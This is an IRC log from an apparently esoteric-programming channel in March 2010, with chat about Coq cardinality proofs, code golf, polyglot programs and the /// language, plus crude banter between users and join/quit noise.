21:21:59 <dixon> No, you just made yourself look like a bigger pop-culture cargo-cult mathematically inept jackass.
21:22:04 <Sgeo_> Are you saying that it's quite easy to offend dixon? [Although oerjan was probably joking]
21:22:14 <alise_> dixon: You're a cunt. :)
21:22:57 <dixon> Quite.
21:45:47 -!- hiato has quit (Quit: underflow).
21:48:09 <oklofok> dixon and alise_ should just have some bittersweet sex and get it over with
21:48:31 <oklofok> two gay atheists in a big pile of progression
21:49:06 <dixon> Sadly I'm a friendly.
21:49:16 <fax> lol
21:49:19 <fax> @ pile of progression
21:49:29 <fax> so I still have no clue what progressive means
21:49:38 <fax> probably means something totally specific to americans
21:49:49 <oklofok> it's a buzzword, you don't *know* what it means, you use it
21:50:24 <alise_> it means democrat
21:51:08 <fax> this is so progressive
21:53:47 <dixon> It generally means liberal.
21:54:24 <oerjan> incidentally the progress party is the most right-wing one in the norwegian parliament
21:59:34 * Sgeo_ wants a wireless mouse
21:59:55 <Sgeo_> Right now, I'm wrapping the mouse cord around the monitor so it doesn't hang off the table, because hanging off the table results in a pull
22:00:20 <fax> wireless mouse? hahaha
22:00:26 <fax> you mean a mouse that turns off by itsself
22:00:40 <Sgeo_> ..what?
22:00:54 <fax> battry
22:01:19 <alise_> wireless mice are horrible; I've tried the worst and the best and they're all just as bad
22:01:22 <alise_> Just don't even go there
22:01:32 <Sgeo_> Hm
22:01:38 <Sgeo_> Then I'd like a mouse with a shorter cord
22:01:41 <Sgeo_> Much shorter
22:01:50 <oerjan> Fledermausversuch
22:06:54 -!- MigoMipo has quit (Quit: Konversation terminated!).
22:13:57 -!- tombom_ has quit (Quit: Leaving).
22:59:45 -!- jcp has quit (Read error: Connection reset by peer).
23:00:57 -!- jcp has joined.
23:10:17 -!- lament has joined.
23:10:26 <lament> the topic is incorrect
23:14:31 -!- coppro has quit (Quit: Reconnecting…).
23:15:07 -!- coppro has joined.
23:22:13 -!- Leonidas_ has changed nick to Leonidas.
23:42:39 -!- MizardX- has joined.
23:43:49 -!- MizardX has quit (Read error: Connection reset by peer).
23:44:08 -!- MizardX- has changed nick to MizardX.
23:50:56 -!- FireFly has quit (Quit: Leaving).
2010-03-29
00:09:36 <fax> http://www.tom.sfc.keio.ac.jp/~sakai/hiki/?CPL
00:10:18 -!- lifthras1ir has changed nick to lifthrasiir.
00:12:01 <fax> right object exp(a,b) with curry is ev: prod(exp,a) -> b
00:12:01 <fax> end object;
00:12:05 <fax> that's how to implement lambda
00:13:21 -!- BeholdMyGlory has quit (Remote host closed the connection).
00:24:57 <uorygl> Sgeo_: just tie a loose knot in the cord.
00:25:35 -!- charlls has quit (Ping timeout: 246 seconds).
00:50:35 -!- Oranjer has left (?).
01:08:45 <alise_> I need to be up at ~9am.
01:08:48 <alise_> Meh.
01:08:56 <oerjan> bye
01:11:07 <fax> hi
01:11:16 <fax> oerjan you like my link
01:11:18 <fax> :)
01:12:11 <oerjan> um i suppose
01:16:34 <fax> :(
01:22:20 -!- dixon has quit (Quit: Leaving).
01:25:55 <alise_> http://pastie.org/892789.txt?key=t975zsuwf3eij1003wwq In which I prove, in 57 labourous lines, that the cardinality of (option T) (i.e. T with an extra element None) is the cardinality of T plus 1, for both finite and infinite types.
01:26:02 <alise_> Axioms used:
01:26:06 <alise_> Axiom Proof_Irrelevance : forall P : Prop, forall x y : P, x = y.
01:26:06 <alise_> Axiom One_Cardinality : forall T, forall c, T |=| c -> forall d, T |=| d <-> d = c.
01:26:16 <alise_> I'm certain I could eliminate the former - even though it is totally reasonable -
01:26:22 <alise_> and I think I could eliminate the latter with some trickery.
01:26:30 <alise_> Apart from that, it's all bijections.
01:27:21 * fax bites oerjan
01:27:36 <alise_> and yes I am aware that all of this is ridiculously verbose
01:28:02 <oerjan> ouch
01:32:05 -!- oerjan has quit (Quit: Excuse me, I seem to be in need of a rabies shot).
01:35:11 <alise_> Got rid of proof irrelevance.
01:36:49 <uorygl> What language are you proving this stuff in?
01:37:34 <pikhq> Aliseese.
01:39:07 <alise_> Coq.
01:39:17 <alise_> See http://pastie.org/892789.txt?key=t975zsuwf3eij1003wwq though it's much better now.
01:41:54 <Sgeo_> Is the Haskell style of separating IO from other stuff a good rule to follow in other languages?
01:42:44 <fax> Sgeo: btw
01:42:51 <fax> Sgeo: I wouldn't say that haskell seperates them at all
01:43:07 <alise_> Sgeo_: of course.
01:43:47 <fax> you can do pure functions like [IO a] -> [IO a] or whatever
01:44:05 <alise_> uorygl: Here's the current code: http://pastie.org/892810.txt?key=eesyermgmbltv9jhbhk8eq
01:44:41 <uorygl> I've heard that it's good practice to treat IO and -> as different things.
01:44:49 <uorygl> And in Haskell, they are! How neat is that?
01:45:01 <alise_> uorygl: And here is the totally gnarly lambda term Coq spits out for option_adds_one: http://pastie.org/892808.txt?key=b7m1ufymznbtw8hospsziw
01:45:08 -!- zzo38 has joined.
01:45:38 <alise_> All that just to prove that |a+1| = |a|+1.
01:45:50 <alise_> (Cardinality, of course; not absolute value.)
01:46:00 <zzo38> Let's see if you can figure out this one... http://golf.shinh.org/p.rb?Check+for+brainwave+activity
01:46:09 <alise_> zzo38: http://pastie.org/892810.txt?key=eesyermgmbltv9jhbhk8eq
01:46:33 <zzo38> alise_: Application error
01:46:42 <fax> hi zzo
01:46:49 <alise_> zzo38: Howso?
01:47:04 <alise_> Are you just not cool enough for my awesome proof? :|
01:47:15 <zzo38> I get a 500 error when accessing that URL
01:47:29 <fax> !bf ++++++++++++++++[>++>+++>++++>++++++>++++++>+++++++>++++++++<<<<<<<-]+++++++++++++++++>>>>++++.>>++++++.<<<<<++.>>>>>++++++++..>+++.<--.++++++++.>----.>-.<<--------.>>-.<<++++.<<<<.>>>>----.++.>>--.<-----.>++.<.>--.+++++.<<<<<<.>>>>+.+.>>-----.<<.--.>>.<<++.--------.<<<+.<..>>+++++.>>--.>>-------.+++.++.<.+++++.<+++++.<<<.
01:47:35 <alise_> zzo38: Did you include the ?key= part?
01:47:42 <alise_> Perhaps try refreshing.
01:47:58 <zzo38> Yes I did. But now I found out what was wrong and now I can view it
01:48:11 <zzo38> I just forgot the "q" at the end.
01:48:45 <fax> Check for brainwave activity?
01:48:48 <fax> I clearly don't have any
01:48:52 <fax> I have no idea what this means
01:49:05 <fax> you're supposed to write a short program that does something :D
01:49:06 <zzo38> I mean the computer's brainwave activity.
01:49:10 <uorygl> You have
01:49:22 <uorygl> Wow, that actually got sent.
01:49:32 <uorygl> You have a strange definition of cardinality.
01:49:35 <zzo38> The computer doesn't have any brainwave activity
01:49:44 <fax> so it just needs to print No brainwave activity detected. Aborting.?
01:49:56 <fax> print "No brainwave activity detected. Aborting." ?
01:50:06 <fax> zzo your puzzles are WAY too hard for me :D
01:50:09 <zzo38> That works, but see if there are other ways...
01:50:15 <alise_> uorygl: Howso?
01:50:25 <alise_> In dependent type theory, there are only finite cardinalities and Aleph_0.
01:50:28 <alise_> There is nothing bigger than the rationals.
01:50:45 <uorygl> I guess that sounds consistent enough.
01:50:50 <alise_> Well, you can't actually prove any properties about the cardinality of functions (but postulating a bijection (A -> B) -><- nat is consistent)
01:51:05 <fax> Error: empty file
01:51:06 <fax> :(
01:51:08 <uorygl> Well, why not.
01:51:10 <alise_> uorygl: it's because the set of algorithms is countably infinite - and we do computable reals
01:51:12 <alise_> which are just functions
01:51:47 <Sgeo_> Have it print characters for 1+1=, and if it magically inputs 2, there's brainwave activity?
01:51:56 <alise_> even (list T) is Aleph_0 -- T must be Aleph_0 or less, so it has a bijection to-fro naturals. Transform to naturals.
01:52:07 <alise_> 1 = unary natural digit; 0 = list separator.
01:52:32 <uorygl> Hmm, I just realized that my last message could also be interpreted as "Well, why not?"
01:53:09 <uorygl> I meant "Well, upon taking that into account, I see no reason not to have only one infinite cardinality".
01:53:24 <alise_> so TONAT[[1,2],[3,4]] = TONAT[TONAT[1,2], TONAT[3,4]] = TONAT[1011, 11101111] = 11111111111011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
01:53:47 <alise_> Which is, admittedly, not the shortest representation.
01:53:51 <alise_> It would make Godel proud.
01:54:00 <zzo38> 1+1=2 is not brainwave activity, as far as I know. Try again.
01:54:32 <fax> do brainwave exist?
01:54:41 <alise_> uorygl: Fin, of course, is the type of infinite types; Fin n is the type with n elements.
01:54:48 <alise_> erm
01:54:49 <alise_> of finite types
01:55:12 <Sgeo_> Searches for a file known.. wait, the program itself is what takes in a BF program?
01:55:28 <zzo38> fax: Yes, brainwave exist and I can measure it. But the computer doesn't have any, it isn't hook to hardware to process brainwaves nor software to generate brainwaves.
01:55:43 <alise_> So, I'm going now until Friday again. Anyone want to lavish praise on my cardinalities?
01:56:08 <zzo38> Sgeo_: You can try that if you want
01:56:12 <fax> #include <stdio.h>
01:56:12 <fax> int main(void){puts("No brainwave activity detected. Aborting.");return 0;}
01:56:16 <fax> this got accepted o
01:56:45 <alise_> main(){puts("No brainwave activity detected. Aborting.");}
01:56:48 <zzo38> Yes, it definitely works, but it is long.
01:56:51 <Sgeo_> If the BF program is optimized in superficial ways, it wasn't optimized by a computer, therefore a human made it
01:56:52 <alise_> So, nobody has anything to say?
01:57:04 <alise_> Sgeo_: It's tradition for you to say goodbye, asshole!
01:57:15 <Sgeo_> Sorry, alise. Hope things improve
01:57:18 <alise_> Yay!
01:57:21 <fax> we are meant to use this brainfuck string as input to make the program print this output
01:57:21 <alise_> Goodbye, folks.
01:57:25 <fax> bye
01:57:28 <alise_> Seeya 'round n round n round n stack overflow
01:57:31 -!- alise_ has quit (Quit: Leaving).
01:57:55 <zzo38> fax: Try that if you want...
01:58:09 <Sgeo_> I have fooled alise_, for I am not Sgeo_, but Sgeo!
01:58:13 -!- Sgeo_ has changed nick to sGEO.
01:58:15 -!- sGEO has changed nick to Sgeo.
01:58:21 * Sgeo is in a silly mood
01:59:48 <fax> zzo I am so confused :P
02:01:07 <Sgeo> Maybe pseudo-interpret the BF
02:01:39 <Sgeo> 13 chars of Bash
02:02:14 <Sgeo> Clearly, the string isn't embedded in zzo's Bash solution
02:16:59 <zzo38> What does it mean to "pseudo-interpret the BF" in your opinion?
02:20:56 -!- Gracenotes has joined.
02:21:27 -!- fax has quit (Quit: Lost terminal).
02:22:30 -!- rosyd1279 has joined.
02:23:22 -!- rosyd1279 has left (?).
02:26:09 -!- Oranjer has joined.
02:31:46 <Sgeo> I thought if there were no loops, just a BF interpreter that doesn't read loops. But there are loops
02:44:41 -!- zzo38 has quit (Remote host closed the connection).
03:01:30 <oklofok> what's wrong with wireless mice?
03:01:59 <oklofok> in my experience wireless mouse >>>>>>>>>>>>>>>>>>>>>>>>>> mouse with cord
03:02:26 -!- adu has joined.
03:02:38 <oklofok> good night ~>
03:03:37 <adu> how do I write programs in several languages?
03:33:52 <uorygl> If several = 0, then stop. Otherwise, write a program in one language, then write programs in (several - 1) languages.
03:34:31 <uorygl> Or do you mean a single program that is valid in several languages?
03:35:21 <pikhq> Well, 君は utilisar multaj итак.
03:39:43 <uorygl> I like this polyglot with its contrived comment markers: http://ideology.com.au/polyglot/polyglot.txt
03:40:21 <uorygl> CuG #%* The comment goes here, and, I imagine, must always be of exactly a certain length. *+Ex=
03:40:53 <uorygl> I guess there are also block comment markers around the whole thing.
03:41:11 <Sgeo> Why are the blank spaces at the beginning important?
03:42:38 -!- Oranjer has quit (Quit: Leaving.).
03:43:01 <uorygl> I THINK THAT POLYGLOT IS UTTER_XYZZXX!
03:43:24 <pikhq> Probably the postscript.
03:43:27 <coppro> I don't even get it
03:43:44 <coppro> why does the C compiler accept (*0);
03:44:07 <uorygl> Because that's a valid expression, I guess.
03:44:23 <Sgeo> 0 is the null pointer, right?
03:44:23 <coppro> not a global scope
03:44:31 <coppro> *at
03:44:43 <uorygl> It, uh, dereferences the null pointer?
03:44:49 <Sgeo> Or maybe it's O?
03:44:56 <pikhq> That's O.
03:44:58 <coppro> oh yeah, it is
03:45:03 <coppro> so it's a declaration of a pointer to int
03:45:24 <uorygl> Bah, that's no 0.
03:45:36 <Sgeo> huh?
03:45:42 <coppro> that's a star-identifier
03:45:51 <Sgeo> I still don't get (*O
03:46:00 <coppro> Sgeo: there
03:46:04 <coppro> *there's a ); after the comment
03:46:10 <coppro> in C, this is a declaration of a pointer to int named O
03:46:32 <coppro> the "that's a star-identifier" comment was my witty response to pikhq's "that's no 0"
03:46:49 * Sgeo mindboggles
03:47:04 <uorygl> pikhq didn't say that.
03:47:20 <coppro> oh wait, yeah, that was uorygl
03:47:28 <Sgeo> COBOL accepts CuG #% as a line number?
03:47:49 <coppro> I don't know and I don't want to
03:48:20 * Sgeo tortures coppro with an identification division.
03:48:50 <pikhq> http://ideology.com.au/polyglot/x86/ Ah.
03:49:14 <Sgeo> Oh, that's cool
03:49:45 <pikhq> The whitespace is needed for the x86 *machine code*.
03:50:00 <pikhq> Erm. Assembly? Doesn't look like assembly.
03:50:17 <Sgeo> How does the C get away with not having an ending.. oh, I missed it
03:50:59 <Sgeo> WTF does CuG mean to a shell script?
03:51:23 <uorygl> Presumably, it means you run CuG.
03:51:36 <uorygl> Now write a polyglot quine in /// and BF.
03:51:54 <pikhq> Sgeo: It looks like a bunch of commands that get the stderr shoved into _$$.
03:51:59 <pikhq> http://ideology.com.au/polyglot/shell/
03:52:02 <pikhq> Yeah, really.
03:52:14 * Sgeo sees it
03:52:15 <uorygl> I guess that's pretty easy. Write a quine in BF; it will also be a quine in ///.
03:52:42 * Sgeo wonders what languages an empty source file ISN'T a quine in
03:52:43 <uorygl> Now write a non-trivial polyglot quine in /// and BF.
03:52:59 <Sgeo> COBOL probably, and Homespring
03:53:27 <uorygl> There are lots of languages where a program is not simply a series of statements.
03:53:51 * Sgeo reads the Homespring standard
03:54:22 * Sgeo attempts to get the standard to load
03:57:37 <uorygl> I must admit, I'm rather proud of ///. It's really simple, it's Turing-complete in a totally non-obvious way, and all data is essentially stored within the program's source code.
03:58:10 <Sgeo> Link?
03:58:19 <Sgeo> Searching on the esolang wiki for three slashes is a pain
03:58:34 <uorygl> The page is called Slashes.
04:00:29 <Sgeo> "This allows you to avoid worrying about program style and focus on what programming is really about, the reproductive behavior of salmon."
04:00:39 <Sgeo> (not Slashes)
04:02:34 <uorygl> A random sentence from the Homespring spec: "However, it does not proscribe the same behaviour as the official interpreter in every case."
04:03:04 <uorygl> This makes me want to write a language called Proscription, where every program's behavior is completely undefined, except that one particular behavior is proscribed.
04:03:27 <uorygl> "This program does anything but output Hello, world!"
04:03:27 <Sgeo> Hm, are there nicer ways to write 99.. no, of course there aren't
04:03:36 <uorygl> In which language?
04:03:46 <Sgeo> ///
04:04:50 <uorygl> Write a version that takes advantage of all redundancy.
04:04:58 <uorygl> Let me think...
04:05:37 <uorygl> "X bottles of beer on the wall / X bottles of beer / Take one down, pass it around / X bottles of beer on the wall /// X bottles of beer on the wall ..."
04:06:30 <uorygl> So the fundamental strings there are "bottles of beer", "on the wall", and "Take one down, pass it around"; you can probably find some more redundancy in the line breaks.
04:06:43 <uorygl> Of course, "bottles of beer" sometimes becomes "bottle of beer".
04:07:07 * Sgeo meant in particular with the digits
04:07:11 <uorygl> Then find a way to programmatically decrement a natural number.
04:07:39 <uorygl> Pretend you're writing in Thue. Then find the best way to translate your Thue to ///.
04:07:49 <uorygl> Which is really difficult, of course.
04:16:43 <uorygl> I wonder how one might turn /// into a language capable of arbitrary I/O behavior.
04:17:16 <Sgeo> Monads!
04:17:17 <Sgeo> </silly>
04:18:51 <uorygl> Let's say that | is an input token and running it causes a character of input to be stuck at the end of the program, followed by |
04:19:45 <uorygl> s/character/byte/; we don't want to require ultra-longnesses in order to be able to recognize every possible character.
04:20:19 <coppro> let's not
04:20:29 <Sgeo> Why the extra |?
04:21:24 <uorygl> If we didn't somehow mark the input, then it might be the case that there are always two pieces of input that do the same thing.
04:21:38 * Sgeo wonders how you'd write a BF interpreter (minus , and .) in vanilla ///
04:22:25 <uorygl> After all, if you're replacing one string wholesale with another, the two strings behave the same way.
04:28:28 * Sgeo is confused
04:46:28 <uorygl> If your program contains /foo/bar/, how is it supposed to distinguish between foo and bar?
04:55:26 -!- adu has quit (Quit: adu).
05:19:24 -!- augur has joined.
05:24:31 -!- augur has quit (Ping timeout: 246 seconds).
05:31:33 -!- MizardX has quit (Ping timeout: 240 seconds).
05:39:47 -!- augur has joined.
06:05:59 * coppro wants a good programming game to play
06:07:57 <coppro> Sgeo: you usually have these sorts of links
06:08:09 <Sgeo> Oh, hi
06:08:21 <Sgeo> Besides RoboZZle?
06:08:23 <coppro> yeah
06:08:30 <coppro> played that too much
06:08:48 <Sgeo> http://tvtropes.org/pmwiki/pmwiki.php/Main/ProgrammingGame is where I found RoboZZle from
06:08:53 <coppro> I know
06:09:04 <Sgeo> Other than that, I'm not sure
06:09:22 <Sgeo> Scripting in Second Life entertains me sometimes
06:12:18 <Sgeo> http://www.introversion.co.uk/darwinia/ I'm not sure if it's a programming game, I haven't tried it myself
06:12:29 <Sgeo> That company does make a Hollywood-style hacking game though, so :/
06:17:03 * Sgeo pokes coppro
06:17:34 <coppro> looks unexciting
06:18:55 <Sgeo> I remember seeing one about controlling.. a rover in 3d, I think? Can't seem to find it
06:21:37 <coppro> kiki the nano-bot?
06:21:45 <coppro> not really a programming game
06:22:11 <coppro> I guess I could just play DROD
06:22:43 <uorygl> There's that defunct LEGO game.
06:22:49 <uorygl> Unfortunately, that defunct LEGO game is defunct.
06:23:08 <uorygl> "Firefox 3.0? Your browser is obsolete! Please upgrade to Netscape Navigator 4.0!"
06:24:53 <coppro> heh
06:25:58 <Sgeo> http://nerogame.org/
06:26:05 <Sgeo> Don't know how much programming's actually involved
06:26:30 <Sgeo> More training neural nets I think
06:26:58 <Sgeo> http://www.ceebot.com/colobot/index-e.php This is what I was thinking of
06:30:03 <coppro> thanks
06:30:59 <Sgeo> yw
06:34:36 -!- coppro has changed nick to Helium_Dragon.
06:34:59 -!- Helium_Dragon has changed nick to Copernicium_Drag.
06:35:59 -!- Copernicium_Drag has changed nick to Carbon_Dragon.
06:39:58 -!- tombom has joined.
06:40:53 -!- MaXo2 has quit (Quit: anéfé).
06:41:11 -!- Carbon_Dragon has changed nick to coppro.
06:50:27 -!- FireFly has joined.
07:13:03 -!- yiyus has quit (*.net *.split).
07:13:03 -!- Gracenotes has quit (*.net *.split).
07:13:05 -!- oklofok has quit (*.net *.split).
07:13:05 -!- pikhq has quit (*.net *.split).
07:13:06 -!- sshc has quit (*.net *.split).
07:13:07 -!- Gregor has quit (*.net *.split).
07:13:07 -!- olsner has quit (*.net *.split).
07:13:07 -!- augur has quit (*.net *.split).
07:13:07 -!- jcp has quit (*.net *.split).
07:13:07 -!- pineapple has quit (*.net *.split).
07:13:08 -!- cheater3 has quit (*.net *.split).
07:13:09 -!- Leonidas has quit (*.net *.split).
07:13:09 -!- mycroftiv has quit (*.net *.split).
07:13:10 -!- ineiros has quit (*.net *.split).
07:13:10 -!- werdan7_ has quit (*.net *.split).
07:13:11 -!- Quadrescence has quit (*.net *.split).
07:13:11 -!- jix has quit (*.net *.split).
07:13:11 -!- rodgort has quit (*.net *.split).
07:13:11 -!- chickenzilla has quit (*.net *.split).
07:13:12 -!- mtve has quit (*.net *.split).
07:13:12 -!- lifthrasiir has quit (*.net *.split).
07:13:12 -!- uorygl has quit (*.net *.split).
07:13:12 -!- SimonRC has quit (*.net *.split).
07:13:13 -!- Deewiant has quit (*.net *.split).
07:13:13 -!- sebbu has quit (*.net *.split).
07:13:13 -!- EgoBot has quit (*.net *.split).
07:13:13 -!- HackEgo has quit (*.net *.split).
07:13:13 -!- FireFly has quit (*.net *.split).
07:13:13 -!- tombom has quit (*.net *.split).
07:13:14 -!- AnMaster has quit (*.net *.split).
07:13:14 -!- wareya has quit (*.net *.split).
07:13:15 -!- bsmntbombdood has quit (*.net *.split).
07:13:15 -!- comex has quit (*.net *.split).
07:13:15 -!- Ilari has quit (*.net *.split).
07:30:32 -!- FireFly has joined.
07:30:32 -!- tombom has joined.
07:30:32 -!- augur has joined.
07:30:32 -!- Gracenotes has joined.
07:30:32 -!- jcp has joined.
07:30:32 -!- cheater3 has joined.
07:30:32 -!- oklofok has joined.
07:30:32 -!- pineapple has joined.
07:30:32 -!- yiyus has joined.
07:30:32 -!- Deewiant has joined.
07:30:32 -!- ineiros has joined.
07:30:32 -!- sebbu has joined.
07:30:32 -!- mtve has joined.
07:30:32 -!- werdan7_ has joined.
07:30:32 -!- lifthrasiir has joined.
07:30:32 -!- uorygl has joined.
07:30:32 -!- Leonidas has joined.
07:30:32 -!- SimonRC has joined.
07:30:32 -!- AnMaster has joined.
07:30:32 -!- sshc has joined.
07:30:32 -!- mycroftiv has joined.
07:30:32 -!- Quadrescence has joined.
07:30:32 -!- pikhq has joined.
07:30:32 -!- wareya has joined.
07:30:32 -!- EgoBot has joined.
07:30:32 -!- HackEgo has joined.
07:30:32 -!- jix has joined.
07:30:32 -!- rodgort has joined.
07:30:32 -!- chickenzilla has joined.
07:30:32 -!- olsner has joined.
07:30:32 -!- Gregor has joined.
07:30:32 -!- bsmntbombdood has joined.
07:30:32 -!- comex has joined.
07:30:32 -!- Ilari has joined.
07:52:38 -!- tombom has quit (Quit: Leaving).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:00:25 -!- FireFly has quit (Quit: Leaving).
08:03:26 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
08:40:02 <Deewiant> Sgeo: Darwinia isn't a programming game
09:23:55 -!- AnMaster has quit (Read error: Operation timed out).
09:24:21 -!- Ilari has quit (Read error: Operation timed out).
09:24:30 -!- AnMaster has joined.
09:24:36 -!- Ilari has joined.
09:59:37 -!- lereah_ has joined.
10:05:09 -!- oerjan has joined.
10:17:00 <oerjan> <uorygl> I wonder how one might turn /// into a language capable of arbitrary I/O behavior.
10:17:32 <oerjan> um, Itflabijtslwi is linked right there on the Slashes page...
10:18:33 <oerjan> (sp)
10:22:21 <oerjan> <uorygl> Let's say that | is an input token and running it causes a character of input to be stuck at the end of the program, followed by |
10:23:13 <oerjan> i think this will be harder to use, you would essentially _have_ to match all character possibilities to do anything with it
10:24:10 <oerjan> because you cannot substitute on just | without ruining all future iterations
10:25:08 <oerjan> btw yes, /// is great :)
11:20:00 -!- oerjan has quit (Quit: leaving).
11:26:40 -!- cheater3 has changed nick to cheater.
12:58:10 -!- FireFly has joined.
13:11:07 -!- cheater2 has joined.
13:13:01 -!- cheater has quit (Ping timeout: 264 seconds).
14:29:12 -!- MigoMipo has joined.
14:38:17 -!- MizardX has joined.
14:52:38 -!- hiato has joined.
15:09:15 -!- ais523 has joined.
15:28:01 -!- BeholdMyGlory has joined.
15:39:41 -!- adam_d has joined.
15:44:53 -!- charlls has joined.
15:54:45 -!- MizardX has quit (Read error: Connection reset by peer).
16:00:58 -!- MizardX has joined.
16:28:54 -!- augur has quit (Ping timeout: 240 seconds).
16:59:44 -!- lereah_ has quit (Quit: Leaving).
17:03:55 -!- jcp has joined.
17:12:26 -!- hiato has quit (Quit: underflow).
17:43:49 -!- kar8nga has joined.
17:48:50 -!- tombom has joined.
17:52:48 -!- dev_squid has joined.
17:52:54 <dev_squid> Hey guys.
17:53:18 <dev_squid> Hey, I have a really neat idea for an esolang. Just wanted to see what you guys thought of it.
17:55:37 -!- adam_d has quit (Ping timeout: 252 seconds).
17:56:02 <dev_squid> What about an asm-esque language that runs on a hypothetical stack machine which uses a Harvard architecture; the unique thing about it is that both code -and- data space is a stack, and code can be treated just like stack data. I was thinking about having a conditional swap which would allow you to create pretty neat conditional loops.
17:56:34 <dev_squid> I think it's leetsauce...but that's just me. :)
17:57:07 <charlls> something neat would be adding unit testing into the language
17:57:49 <charlls> for example, a class can extends some class, implement some interface, or *support* some functionality which is in itself a testing declaration
17:58:32 <charlls> something like class Service implements iService supports Scalable, ThreadSafe
17:58:56 <charlls> where Scalable is an abstract test case declaration
17:59:20 <charlls> but defines explicit tests to be made that certify that certain class supports it
17:59:41 -!- Gracenotes has quit (Ping timeout: 276 seconds).
18:06:41 <dev_squid> o_O ?
18:07:57 -!- charlesq__ has joined.
18:11:02 -!- charlls has quit (Ping timeout: 258 seconds).
18:17:20 -!- Gracenotes has joined.
18:27:35 -!- charlls has joined.
18:31:20 -!- charlesq__ has quit (Ping timeout: 258 seconds).
18:58:02 -!- Asztal has joined.
19:44:37 -!- kar8nga has quit (Ping timeout: 276 seconds).
19:47:31 -!- oerjan has joined.
19:50:35 -!- charlesq__ has joined.
19:51:48 -!- charlls has quit (Read error: Connection reset by peer).
19:52:45 -!- ais523 has quit (Remote host closed the connection).
19:52:51 -!- charlesq__ has quit (Read error: Connection reset by peer).
20:07:38 -!- sebbu2 has joined.
20:09:08 -!- sebbu has quit (Ping timeout: 258 seconds).
20:09:09 -!- sebbu2 has changed nick to sebbu.
20:18:03 -!- fizzie has quit (Quit: Coyote finally caught me).
20:19:32 -!- pikhq has quit (Read error: Connection reset by peer).
20:19:53 -!- pikhq has joined.
20:30:57 -!- atrapado has joined.
20:34:43 -!- adam_d has joined.
20:38:06 -!- charlls has joined.
20:42:23 -!- sebbu2 has joined.
20:43:24 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
20:44:13 -!- sebbu has quit (Ping timeout: 264 seconds).
20:48:11 -!- sebbu2 has quit (Ping timeout: 258 seconds).
20:49:05 -!- sebbu has joined.
20:52:24 -!- sebbu2 has joined.
20:52:40 -!- Oranjer has joined.
20:53:33 -!- sebbu has quit (Ping timeout: 240 seconds).
20:53:33 -!- sebbu2 has changed nick to sebbu.
20:59:02 -!- isch has joined.
20:59:51 -!- isch has left (?).
21:30:58 -!- fizzie has joined.
21:45:30 -!- adam_d has quit (Ping timeout: 245 seconds).
21:48:47 -!- cheater2 has quit (Ping timeout: 260 seconds).
21:50:42 -!- cheater2 has joined.
22:08:02 -!- MigoMipo has quit (Remote host closed the connection).
22:28:49 -!- tombom has quit (Quit: Leaving).
23:18:29 -!- s_h has joined.
23:18:56 -!- s_h has left (?).
23:25:30 -!- charlls has quit (Quit: Saliendo).
23:49:14 -!- sshc has quit (Quit: leaving).
23:52:39 -!- FireFly has quit (Quit: Leaving).
23:56:20 -!- BeholdMyGlory has quit (Remote host closed the connection).
2010-03-30
00:05:02 -!- sebbu2 has joined.
00:05:05 -!- sebbu has quit (Ping timeout: 245 seconds).
00:05:23 -!- sebbu2 has changed nick to sebbu.
00:12:12 -!- sebbu has quit (Ping timeout: 240 seconds).
00:12:35 -!- werdan7_ has changed nick to werdan7.
00:22:19 -!- sebbu has joined.
00:44:29 -!- sshc has joined.
01:19:09 -!- Asztal has quit (Ping timeout: 260 seconds).
01:21:09 -!- dev_squid has quit (Ping timeout: 264 seconds).
01:22:37 -!- cheater2 has quit (Ping timeout: 240 seconds).
01:33:18 -!- oklofok has quit (Read error: Connection reset by peer).
01:33:41 -!- oklopol has joined.
01:34:13 -!- dev_squid has joined.
01:57:14 -!- sebbu2 has joined.
01:57:55 -!- sebbu has quit (Ping timeout: 268 seconds).
01:57:58 -!- sebbu2 has changed nick to sebbu.
02:00:32 -!- oerjan has quit (Quit: Good night).
02:08:39 -!- dev_squid has quit (Ping timeout: 258 seconds).
03:16:52 -!- dev_squid has joined.
03:19:08 -!- augur has joined.
03:31:29 -!- Oranjer has left (?).
04:24:53 -!- augur has quit (Ping timeout: 260 seconds).
04:26:29 -!- augur has joined.
04:52:30 -!- dev_squid has quit.
06:34:37 -!- augur has quit (Ping timeout: 252 seconds).
06:38:37 -!- MizardX has quit (Ping timeout: 240 seconds).
06:39:15 -!- augur has joined.
06:46:07 -!- FireFly has joined.
07:04:04 -!- tombom has joined.
07:06:47 -!- bsmntbombdood has quit (Read error: Operation timed out).
07:50:06 -!- tombom has quit (Quit: Leaving).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:06:18 -!- kar8nga has joined.
08:26:13 -!- FireFly has quit (Quit: Leaving).
09:06:24 -!- coppro has quit (Ping timeout: 248 seconds).
09:46:03 -!- cheater2 has joined.
09:57:08 -!- adam_d has joined.
09:57:46 -!- cheater3 has joined.
10:00:03 -!- cheater2 has quit (Ping timeout: 260 seconds).
10:02:17 -!- oerjan has joined.
10:15:50 -!- oklopol has quit (Read error: Connection reset by peer).
10:16:06 -!- oklopol has joined.
10:26:45 -!- lereah_ has joined.
10:35:03 -!- kar8nga has quit (Ping timeout: 260 seconds).
10:36:38 -!- oerjan has quit (Quit: leaving).
11:01:50 -!- adam_d has quit (Ping timeout: 240 seconds).
11:15:09 -!- oklofok has joined.
11:15:11 -!- oklopol has quit (Read error: Connection reset by peer).
11:21:26 -!- BeholdMyGlory has joined.
12:29:16 -!- kar8nga has joined.
12:32:22 -!- Tritonio_GR has joined.
12:42:12 -!- kar8nga has quit (Remote host closed the connection).
13:05:09 -!- MigoMipo has joined.
13:08:17 -!- BeholdMyGlory has quit (Read error: Connection reset by peer).
13:09:21 -!- adam_d has joined.
13:12:09 -!- ais523 has joined.
13:54:23 -!- lereah_ has quit (Remote host closed the connection).
13:58:17 -!- adam_d has quit (Ping timeout: 276 seconds).
13:59:09 -!- lereah_ has joined.
14:29:50 -!- MizardX has joined.
14:40:09 -!- MizardX has quit (Ping timeout: 276 seconds).
14:42:03 -!- BeholdMyGlory has joined.
14:57:14 -!- adam_d has joined.
15:08:36 -!- MigoMipo has quit (Quit: Page closed).
15:17:22 -!- oerjan has joined.
15:17:44 <oerjan> *pin dropping*
15:21:52 <fizzie> I didn't hear anything, the join-quit noise is so loud.
15:23:32 <oerjan> and there's such a terrible lasting echo
15:23:45 <ais523> hmm, can anyone here think of a decent way to parse reverse-polish using Parsec?
